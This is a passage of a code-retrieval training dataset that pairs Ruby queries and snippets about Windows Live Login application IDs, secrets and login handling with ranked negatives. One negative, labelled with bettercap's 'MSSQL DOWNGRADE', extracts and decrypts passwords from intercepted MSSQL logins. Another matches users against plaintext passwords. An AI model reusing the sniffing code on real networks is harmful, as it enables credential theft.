query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
Use this property to set your application ID if you did not provide one at initialization time.
|
def appid=(appid)
if (appid.nil? or appid.empty?)
fatal("Error: appid: Null application ID.")
end
if (not appid =~ /^\w+$/)
fatal("Error: appid: Application ID must be alpha-numeric: " + appid)
end
@appid = appid
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def application_id=(value)\n @application_id = value\n end",
"def app_id=(value)\n @app_id = value\n end",
"def app_id=(value)\n @app_id = value\n end",
"def app_id=(value)\n @app_id = value\n end",
"def app_id=(id)\n @app_id = id.to_s\n end",
"def app_identifier=(value)\n @app_identifier = value\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def app_id=(value)\n if value == @defaults['appId']\n @values.delete 'appId' if @values.key? 'appId'\n else\n @values['appId'] = value\n end\n end",
"def application_id=(value)\n @children['application-id'][:value] = value\n end",
"def application_id\n @application_id || YodleeApi.application_id\n end",
"def resource_app_id=(value)\n @resource_app_id = value\n end",
"def appid\n if (@appid.nil? or @appid.empty?)\n fatal(\"Error: appid: App ID was not set. Aborting.\")\n end\n @appid\n end",
"def app_id\n @values.fetch('appId') { \n @values['appId'] = nil\n }\n end",
"def assign_application_id\n self.application_id = supported_permission.application_id if supported_permission.present?\n end",
"def assign_application_id\n self.application_id = supported_permission.application_id if supported_permission.present?\n end",
"def user_app_id(force=false)\n @user_app_id = nil if force\n @user_app_id ||= read_user_app_id\n end",
"def app_id=(_arg0); end",
"def app_id=(_arg0); end",
"def application_id\n return @application_id\n end",
"def kiosk_mode_built_in_app_id=(value)\n @kiosk_mode_built_in_app_id = value\n end",
"def set_app\n @app = current_client.apps.find(params[:id] || params[:app_id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def initialize(app_id:)\n @app_id = app_id\n end",
"def app_id\n return @app_id\n end",
"def app_id\n return @app_id\n end",
"def app_id\n return @app_id\n end",
"def app_identifier\n return @app_identifier\n end",
"def app_activity_id=(value)\n @app_activity_id = value\n end",
"def app_id; end",
"def app_id; end",
"def app_id\n self.class.send :class_variable_get, :@@app_id\n end",
"def initialize(app_id)\n @app_id = app_id\n end",
"def app_identifier\n Origen.config.initials || 'Anon App'\n end",
"def application_id\n get_key('ALGOLIA_APPLICATION_ID', 'application_id')\n end",
"def set_application\n @application = Oread::Application.find(params[:id])\n end",
"def set_application\n @application = current_user.applications.find(params[:id])\n end",
"def notification_url_app_id=(value)\n @notification_url_app_id = value\n end",
"def app_id\n @app.id\n end",
"def app_scope_id=(value)\n @app_scope_id = value\n end",
"def set_application\n @application = Application.find_by!(number: params[:application_token])\n end",
"def set_application\n @application = Application.where(token: params[:id]).first\n end",
"def created_by_app_id=(value)\n @created_by_app_id = value\n end",
"def set_app\n @app = App.find(params[:uid])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_application\n @application = Application.find(params[:id])\n end",
"def set_app\n @app = App.find(params[:id])\n end",
"def set_app\n @app = App.find(params[:id])\n end",
"def set_app\n @app = App.find(params[:id])\n end",
"def set_app\n @app = App.find(params[:id])\n end",
"def set_app\n @app = App.find(params[:id])\n end",
"def set_app\n @app = App.find(params[:id])\n end",
"def set_app\n @app = App.find(params[:id])\n end",
"def set_app\n @app = App.find(params[:id])\n end",
"def set_app\n @app = App.find(params[:id])\n end",
"def set_app\n @app = current_user.apps.find(params[:app_id])\n end",
"def set_app\n @app = current_user.apps.find(params[:id])\n end",
"def set_application\n @application = current_user.oauth_applications.find(params[:id])\n end",
"def app_user_model_id=(value)\n @app_user_model_id = value\n end",
"def initialize(app_id, app_secret)\n @app_id = app_id\n @app_secret = app_secret\n end",
"def kiosk_mode_managed_app_id=(value)\n @kiosk_mode_managed_app_id = value\n end",
"def set_appparam\n @appparam = Appparam.find(params[:id])\n end",
"def set_application\n @application = @application_scope.find(params[:id])\n @current_application = @application\n end",
"def set_user_application\n @user_application = UserApplication.find(params[:id])\n end",
"def set_campaign_application(id)\n @campaign_application = CampaignApplication.find(id)\n end",
"def set_application\n @application = Application.find(params[:id])\n if params[:customer_id]\n @customer = Customer.find(params[:customer_id])\n end\n end",
"def set_oauth_application\n @oauth_application = Doorkeeper::Application.find(params[:oauth_application_id])\n end",
"def app_key \n 'app-id-9bb5f1c77f0df722a9b1bc650a41988a'\n end",
"def set_registered_app\n @registered_app = RegisteredApp.find(params[:id])\n end",
"def set_registered_app\n @registered_app = RegisteredApp.find(params[:id])\n end",
"def set_application\n @application = applications_scope.find(params[:id])\n end",
"def set_app\n @app = App.with_roles(%i[admin notifier], current_user).find(params[:id] || params[:app_id])\n end",
"def set_client_application\n @client_application = ClientApplication.find(params[:id])\n end",
"def application=(app)\n @application = app\n end",
"def application=(app)\n @application = app\n end",
"def application=(app)\n @application = app\n end",
"def set_userapplication\n @userapplication = Userapplication.find(params[:id])\n end"
] |
[
"0.8277004",
"0.817122",
"0.817122",
"0.817122",
"0.81007695",
"0.80319995",
"0.7559075",
"0.7559075",
"0.7559075",
"0.7559075",
"0.7559075",
"0.7559075",
"0.7559075",
"0.7559075",
"0.7559075",
"0.7525839",
"0.7453115",
"0.74212396",
"0.7363324",
"0.7329188",
"0.7017668",
"0.6903246",
"0.6903246",
"0.6902612",
"0.6900362",
"0.6900362",
"0.688077",
"0.68555313",
"0.6841623",
"0.68380976",
"0.68380976",
"0.68380976",
"0.68380976",
"0.68380976",
"0.68380976",
"0.68380976",
"0.68380976",
"0.68380976",
"0.68380976",
"0.68380976",
"0.68380976",
"0.68380976",
"0.68380976",
"0.68380976",
"0.6782199",
"0.6778125",
"0.6778125",
"0.6778125",
"0.6762419",
"0.67274404",
"0.67263275",
"0.67263275",
"0.6726047",
"0.67195684",
"0.66977495",
"0.66892606",
"0.66598785",
"0.6639487",
"0.66305953",
"0.66123664",
"0.6589535",
"0.6586134",
"0.6579641",
"0.65527976",
"0.6543756",
"0.6540631",
"0.6540631",
"0.6540631",
"0.6540631",
"0.6418231",
"0.6418231",
"0.6418231",
"0.6418231",
"0.6418231",
"0.6418231",
"0.6418231",
"0.6418231",
"0.6418231",
"0.6408684",
"0.6405554",
"0.64002717",
"0.63768595",
"0.63577926",
"0.63487464",
"0.6345175",
"0.6322088",
"0.62919676",
"0.6291013",
"0.62811506",
"0.62123775",
"0.6211504",
"0.62097603",
"0.62097603",
"0.6209272",
"0.61872697",
"0.61849016",
"0.61760646",
"0.61760646",
"0.61760646",
"0.6164473"
] |
0.7371801
|
18
|
Returns the application ID.
|
def appid
if (@appid.nil? or @appid.empty?)
fatal("Error: appid: App ID was not set. Aborting.")
end
@appid
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def application_id\n return @application_id\n end",
"def app_identifier\n return @app_identifier\n end",
"def application_id\n get_key('ALGOLIA_APPLICATION_ID', 'application_id')\n end",
"def app_id\n @app.id\n end",
"def app_id\n return @app_id\n end",
"def app_id\n return @app_id\n end",
"def app_id\n return @app_id\n end",
"def application_id\n @application_id || YodleeApi.application_id\n end",
"def ccdb_app_id()\n KNIFE::get_app_id(@current_name)\n end",
"def app_item_id\n read('app_item_id')\n end",
"def resource_app_id\n return @resource_app_id\n end",
"def application_id=(value)\n @application_id = value\n end",
"def app_id\n self.class.send :class_variable_get, :@@app_id\n end",
"def app_item_id\n read_integer('app_item_id')\n end",
"def app_id=(id)\n @app_id = id.to_s\n end",
"def app_id=(value)\n @app_id = value\n end",
"def app_id=(value)\n @app_id = value\n end",
"def app_id=(value)\n @app_id = value\n end",
"def app_id; end",
"def app_id; end",
"def kiosk_mode_built_in_app_id\n return @kiosk_mode_built_in_app_id\n end",
"def app_id\n fb_app.id\n end",
"def user_app_id(force=false)\n @user_app_id = nil if force\n @user_app_id ||= read_user_app_id\n end",
"def pkg_to_app_id(package)\n return package if package =~ /\\A-?\\d+\\Z/\n\n if app = search(package).getAppList().to_a.find { |app| app.packageName == package }\n app.getId()\n else\n raise ArgumentError, \"could not resolve package #{package}\"\n end\n end",
"def get id\n apps.select do |app|\n app.id == id\n end.first\n end",
"def app_identifier=(value)\n @app_identifier = value\n end",
"def app_id\n @values.fetch('appId') { \n @values['appId'] = nil\n }\n end",
"def app_activity_id\n return @app_activity_id\n end",
"def app_id\n @object.send(Innsights.user_id)\n end",
"def current_application\n fail 'Application ID is missing' unless params.key?(:application_id)\n applications = current_user.applications\n applications.where(id: params[:application_id]).first\n end",
"def app_identifier\n Origen.config.initials || 'Anon App'\n end",
"def application_name\n return @application_name\n end",
"def app_name\n ApplicationService.application_name\n end",
"def read_user_app_id\n fn = File.join(RUBY_PLATFORM =~ /mswin32/ ? ENV['USERPROFILE'] : ENV['HOME'], \".rbing_app_id\")\n File.read(fn).strip if File.exists?(fn)\n end",
"def app_id=(_arg0); end",
"def app_id=(_arg0); end",
"def kiosk_mode_managed_app_id\n return @kiosk_mode_managed_app_id\n end",
"def notification_url_app_id\n return @notification_url_app_id\n end",
"def app_id\n object.send(:try, Innsights.group_id)\n end",
"def app_scope_id\n return @app_scope_id\n end",
"def created_by_app_id\n return @created_by_app_id\n end",
"def default_app_identifier\n default_build_settings(key: \"PRODUCT_BUNDLE_IDENTIFIER\")\n end",
"def first_app_id\r\n make_sure_apps_page unless @driver.current_url =~ /.*apps.*/\r\n if is_element_present(:new_app_page,:first_app_id)\r\n first_app_id=new_app_locator(:first_app_id).text\r\n puts \"+ <action> first_app_id: #{first_app_id}\"\r\n return first_app_id\r\n end\r\n end",
"def resource_app_id=(value)\n @resource_app_id = value\n end",
"def fb_app_id\n ENV['facebook_app_id']\n end",
"def app_name\n return @app_name\n end",
"def app_name\n return @app_name\n end",
"def app_key \n 'app-id-9bb5f1c77f0df722a9b1bc650a41988a'\n end",
"def app_name\n @data['CFBundleExecutable'].to_s\n end",
"def appt_id\n @appt_id ||= base_qm.dig(:appointment, 'id')\n end",
"def ios_app_identifier(args)\n return FastlaneCore::IOSAppIdentifierGuesser.guess_app_identifier(args)\n rescue\n nil # we don't want this method to cause a crash\n end",
"def application_id=(value)\n @children['application-id'][:value] = value\n end",
"def create_application_id(application_name)\n applicaiton_id = VaultDriver.generate_uid\n applicaiton_create_uri = URI(@url + \"auth/#{application_name}/map/app-id/#{applicaiton_id}\")\n req = Net::HTTP::Post.new(applicaiton_create_uri)\n req['X-Vault-Token'] = @token\n res = Net::HTTP.start(applicaiton_create_uri.hostname, applicaiton_create_uri.port) do |http|\n req.body = { 'value' => 'root', 'display_name' => application_name.to_s }.to_json\n http.request(req)\n end\n [applicaiton_id, res.code.to_i]\n end",
"def app_by_id(id)\n get(\"/apps/#{id}\")\n end",
"def current_application\n @current_application ||= Application.find(params[:application_id]) if params[:application_id]\n end",
"def app_id=(value)\n if value == @defaults['appId']\n @values.delete 'appId' if @values.key? 'appId'\n else\n @values['appId'] = value\n end\n end",
"def app_identifier\n 'com.spothero.spothero'\n end",
"def current_user_id\n app_session.current_user_id\n end",
"def application_template_id\n return @application_template_id\n end",
"def app_name\n c.application\n end",
"def app_name\n @app_name || Sapience.app_name\n end",
"def app\n App.load(self.app_id)\n end",
"def check_application_id\n return if application_id\n @logger.display('application_id_missing')\n exit 1\n end",
"def appname\n fetch(:appname) || script_name\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def set_AppID(value)\n set_input(\"AppID\", value)\n end",
"def client_app(client_id)\n Doorkeeper::Application.all.find { |app| app.uid == client_id }\n end",
"def application_name\n @application_name || _application_name_from_namespace || _default_application_name\n end",
"def target_id\n user_app_token\n end",
"def application_version\n read('application_version')\n end",
"def app_user_model_id\n return @app_user_model_id\n end",
"def kiosk_mode_built_in_app_id=(value)\n @kiosk_mode_built_in_app_id = value\n end",
"def get_current_pod_id\n config = get_config['pod_file']\n return nil unless config\n apps = admo_account.apps\n p = apps.select{|a| a.pod_name == config}\n first = p.first\n return first.id if first\n return nil\n end",
"def inspect\n \"<Application name=#{@name} id=#{@id}>\"\n end",
"def get_opsworks_app\n data = opsworks_client.describe_apps(app_ids: [app_id])\n if !(data[:apps] && data[:apps].count == 1)\n raise Error, \"App #{app_id} not found.\", error.backtrace\n end\n data[:apps].first\n end",
"def kiosk_app_user_model_id\n return @kiosk_app_user_model_id\n end",
"def application(applicant_id)\n request(:get, \"applicant_tracking/applications/#{applicant_id}\")\n end",
"def get_app_script\n # App should exist and be accessible\n app = App.accessible_by(@context).find_by_uid(unsafe_params[:id])\n fail \"Invalid app id\" if app.nil?\n\n render plain: app.code\n end",
"def created_by_app_id=(value)\n @created_by_app_id = value\n end",
"def app_config_key\n return @app_config_key\n end",
"def current_test_app_uuid\n if defined?(@gear)\n @gear.uuid\n elsif defined?(@app) && @app.respond_to?(:uid)\n @app.uid\n else\n raise \"Neither @app nor @gear is defined\"\n end\nend",
"def set_app\n @app = current_client.apps.find(params[:id] || params[:app_id])\n end",
"def application_version\n return @application_version\n end",
"def application_version\n return @application_version\n end",
"def app_name\n to_s.underscore\n end",
"def get_id()\n return @id\n end",
"def app_name\n Rucola::InfoPlist.open((RUBYCOCOA_ROOT + 'config/Info.plist').to_s).app_name\n end",
"def assign_application_id\n self.application_id = supported_permission.application_id if supported_permission.present?\n end",
"def assign_application_id\n self.application_id = supported_permission.application_id if supported_permission.present?\n end",
"def appointment_id(sip)\n sip.form_id.match(ID_MATCHER)[1]\n end",
"def app_name\n return File.basename(File.expand_path(root)).freeze\n end",
"def appointment_id(ref)\n matched = ref.match(ID_MATCHER)\n\n matched ? matched[1] : nil\n end",
"def get_current_application_information\n response = request(\n :oauth2_applications_me, nil,\n :get,\n \"oauth2/applications/@me\"\n )\n Rapture::OauthApplication.from_json(response.body)\n end"
] |
[
"0.85831577",
"0.8552138",
"0.846309",
"0.8432432",
"0.838213",
"0.838213",
"0.838213",
"0.8336402",
"0.78346896",
"0.77440476",
"0.75955623",
"0.7572558",
"0.7538376",
"0.7464202",
"0.7460958",
"0.7341734",
"0.7341734",
"0.7341734",
"0.7315682",
"0.7315682",
"0.7288015",
"0.72629124",
"0.7221228",
"0.71659404",
"0.715977",
"0.714632",
"0.7119893",
"0.7027153",
"0.70160836",
"0.70073014",
"0.6976519",
"0.6945368",
"0.69352186",
"0.691082",
"0.6864838",
"0.6864838",
"0.67946535",
"0.6758892",
"0.6741378",
"0.6736944",
"0.67260927",
"0.6708293",
"0.6689379",
"0.66653466",
"0.66489863",
"0.66288835",
"0.66288835",
"0.6615433",
"0.65866804",
"0.658346",
"0.65695345",
"0.65605277",
"0.65586954",
"0.65194464",
"0.6469363",
"0.64685833",
"0.6458287",
"0.64234126",
"0.6421459",
"0.6360295",
"0.63469994",
"0.63305956",
"0.63211495",
"0.6292335",
"0.6283805",
"0.6283805",
"0.6283805",
"0.6283805",
"0.6283805",
"0.6283805",
"0.6283805",
"0.6283805",
"0.6283805",
"0.6281713",
"0.62593514",
"0.6259158",
"0.624973",
"0.6240278",
"0.62350893",
"0.62261254",
"0.61794925",
"0.6172768",
"0.6163587",
"0.6159657",
"0.6105248",
"0.61006415",
"0.6097109",
"0.6089228",
"0.6081847",
"0.6081278",
"0.6081278",
"0.60723877",
"0.6064023",
"0.6063047",
"0.6055119",
"0.6055119",
"0.60302216",
"0.60257447",
"0.601918",
"0.6001196"
] |
0.8196249
|
8
|
Use this property to set your secret key if you did not provide one at initialization time.
|
def secret=(secret)
if (secret.nil? or secret.empty? or (secret.size < 16))
fatal("Error: secret=: Secret must be non-null and at least 16 characters.")
end
@signkey = derive(secret, "SIGNATURE")
@cryptkey = derive(secret, "ENCRYPTION")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_secret_key\n @secret_key = SecretKey.find(params[:id])\n end",
"def secret_key=(key)\n configatron.ramazon.secret_key = key\n end",
"def secret_key; end",
"def secret_key=(secret_key)\n actual_key = ENV.fetch(\"SECRET_KEY\", User.secret_key_default)\n self.is_student = !(secret_key == actual_key)\n end",
"def secret_key\n \"\"\n end",
"def initialize(key, secret)\n super()\n self.key = key\n self.secret = secret\n end",
"def set_decrypted_secret_key(val)\n @decrypted_secret_key = val\n end",
"def secret\n @secret ||= (\n defined?(Rails) && Rails.application.credentials&.dig(:secret_key_base)\n ) || raise(StandardError, SECRET_MISSING_ERROR)\n end",
"def secret\n @secret or raise MissingSecret\n end",
"def secret_key\n credentials['secret_key']\n end",
"def secret_key\n credentials['secret_key']\n end",
"def set_secret\n @secret = Secret.find(params[:id])\n end",
"def set_secret\n @secret = Secret.find(params[:id])\n end",
"def set_secret\n @secret = Secret.find(params[:id])\n end",
"def set_secret\n @secret = Secret.find(params[:id])\n end",
"def secret\n secret_value or raise 'secret is only available for new access keys'\n end",
"def secret(new_secret = nil)\n if !new_secret\n @secret\n else\n @secret = new_secret\n @encrypt = true if @encrypt.nil?\n end\n end",
"def set_Secret(value)\n set_input(\"Secret\", value)\n end",
"def set_Secret(value)\n set_input(\"Secret\", value)\n end",
"def secret\n @secret || ''\n end",
"def aws_secret_access_key \n if @aws_secret_access_key\n return @aws_secret_access_key\n elsif !ENV.has_key?('AWS_SECRET_ACCESS_KEY')\n raise FogSettingError, \"secret access key must be set in ENV or configure block\"\n end\n @aws_secret_access_key ||= ENV['AWS_SECRET_ACCESS_KEY']\n end",
"def set_secret(opts)\n opts = check_params(opts,[:secrets])\n super(opts)\n end",
"def consumer_secret\n config_method_not_implemented\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def set_ConsumerSecret(value)\n set_input(\"ConsumerSecret\", value)\n end",
"def secret\n @secret ||= begin\n secret = load_secret\n unless secret\n ui.fatal('A secret or secret_file must be specified')\n show_usage\n exit 1\n end\n secret\n end\n end",
"def secret_key\n ENV['RANCHER_SECRET']\n end",
"def initialize(secret)\n @secret = secret\n end",
"def set_secret\n @secret = Secret.find(params[:id])\n end",
"def secret_key_base; end",
"def secret_key_base; end"
] |
[
"0.80377424",
"0.750576",
"0.74892455",
"0.7486055",
"0.7483587",
"0.7263467",
"0.7230162",
"0.71432716",
"0.7082599",
"0.70695186",
"0.70695186",
"0.705636",
"0.705636",
"0.705636",
"0.705636",
"0.70001405",
"0.69477755",
"0.6936296",
"0.6936296",
"0.6930344",
"0.692389",
"0.69160837",
"0.68680775",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68663186",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.68654096",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.686482",
"0.6843209",
"0.6807873",
"0.67853695",
"0.6763636",
"0.6751984",
"0.6751984"
] |
0.6989428
|
16
|
Processes the login response from Windows Live Login. 'query' contains the preprocessed POST table such as that returned by CGI.params or by Rails (the unprocessed POST string might also be used here but we do not recommend it). The method returns a User object on successful login; otherwise nil.
|
def processLogin(query)
query = parse query
unless query
debug("Error: processLogin: Failed to parse query.")
return
end
action = query['action']
unless action == 'login'
debug("Warning: processLogin: query action ignored: #{action}.")
return
end
token = query['stoken']
context = CGI.unescape(query['appctx']) if query['appctx']
processToken(token, context)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process_login_response(email, password, response)\n @email = email\n @password = password\n @token = Parser.extract_user_token response\n @id = Parser.login_object_id response\n @xp = Parser.extract_xp response\n end",
"def mssql_parse_login( data )\n status = data.slice!(0,1).unpack('C')[0]\n len = data.slice!(0,2).unpack('n')[0]\n\n if len > data.length + 4\n return\n end\n\n # slice of:\n # * channel, packetno, window\n # * login header\n # * client name lengt & offset\n login_hdr = data.slice!(0,4 + 36 + 4)\n\n username_offset = data.slice!(0,2).unpack('v')[0]\n username_length = data.slice!(0,2).unpack('v')[0]\n\n pw_offset = data.slice!(0,2).unpack('v')[0]\n pw_length = data.slice!(0,2).unpack('v')[0]\n\n appname_offset = data.slice!(0,2).unpack('v')[0]\n appname_length = data.slice!(0,2).unpack('v')[0]\n\n srvname_offset = data.slice!(0,2).unpack('v')[0]\n srvname_length = data.slice!(0,2).unpack('v')[0]\n\n if username_offset > 0 and pw_offset > 0\n offset = username_offset - 56\n\n user = data[offset..(offset + username_length * 2)].unpack('v*').pack('C*')\n\n offset = pw_offset - 56\n if pw_length == 0\n pass = \"<empty>\"\n else\n pass = mssql_tds_decrypt(data[offset..(offset + pw_length * 2)].unpack(\"A*\")[0])\n end\n\n offset = srvname_offset - 56\n srvname = data[offset..(offset + srvname_length * 2)].unpack('v*').pack('C*')\n BetterCap::Logger.info \"[#{'MSSQL DOWNGRADE'.green}] [#{'Username'.yellow}] #{user.yellow} | [#{'Password'.yellow}] #{pass.yellow} | [#{'Server Name'.yellow}] #{srvname.yellow}\"\n else\n BetterCap::Logger.info \"[#{'MSSQL DOWNGRADE'.yellow}] Could not parse login request for authentication credentials\"\n end\n end",
"def process_login\n user = User.where(login: params[:user][:login], password: params[:user][:password]).first\n respond_with :api, json:!user.nil?\n end",
